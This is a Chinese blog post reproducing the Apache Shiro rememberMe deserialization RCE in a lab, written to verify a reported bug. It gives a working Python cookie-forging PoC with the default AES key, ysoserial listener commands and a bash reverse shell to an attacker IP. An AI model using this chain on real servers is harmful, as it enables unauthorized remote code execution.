最近有白帽子向公司提交了漏洞,说我们公司官网存在shiro反序列化漏洞,作为优秀的word 工程师,同事找到了我(这时候想到我是信息安全工程师招进来的了)。
影响版本
Apache Shiro <= 1.2.4
产生原因
shiro默认使用了
CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造
前16字节的密钥-->后面加入序列化参数-->AES加密-->base64编码-->发送cookie。
深入分析见:
https://www.freebuf.com/column/220958.html
既然知道了漏洞原理,我们着手布置漏洞环境,开始复测。
首先要有web环境:
攻击主机:192.168.0.106
被攻击主机:192.168.0.105
最初我根据
https://www.seebug.org/vuldb/ssvid-92180这篇文章进行漏洞环境的部署,比较复杂,如果有需要编译好的war可以从百度云盘下载:https://pan.baidu.com/s/1-kC3-aiwcgV2b72eNEVAcg 提取码: pzs3
我们在这里使用docker进行漏洞环境的部署。
#docker pull medicean/vulapps:s_shiro_1
#docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
简简单单两条命令,漏洞环境就部署好了。
登录成功后,可以看到返回包里Set-Cookie中有rememberMe,这就可以试一下shiro漏洞。
ysoserial开启监听
ysoserial是一个java反序列化的工具,攻击机下载ysoserial,获取需要的jar文件:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
我们需要target目录下的ysoserial-0.0.6-SNAPSHOT-all.jar,使用如下命令打开监听:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections4 "反弹 shell 需要进行java base64 编码"
我们在http://www.jackson-t.ca/runtime-exec-payloads.html网站,对bash -i >& /dev/tcp/192.168.0.106/777 0>&1编码。
命令执行的效果图:
同时本机打开对777端口的监听:
构建恶意rememberMe:
poc5.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
我们通过次poc生成恶意的rememberMe:
现在替换正常的rememberMe,向服务器发送恶意的攻击请求:
我们看监听的端口:
已经有shell返回了。
但是反弹shell总归是不安全的做法,我们也可以尝试其他方式证明命令执行已经成功,其中最常用的就是DNSLOG。
我们访问:http://www.dnslog.cn/,生成一个域名,让被攻击主机ping这个域名,如果有DNS日志如下:
则表明漏洞存在。
但是运维人员说shiro已经更新到最新版本了。后来查看漏洞poc中提供的key在github中存在很多处,应该是其他开源框架整合了shiro或者在代码上借鉴所导致的漏洞。
目前已经整理了与此漏洞相关的18个key,如果需要对自身代码进行排查,可后台回复shiro_key进行获取。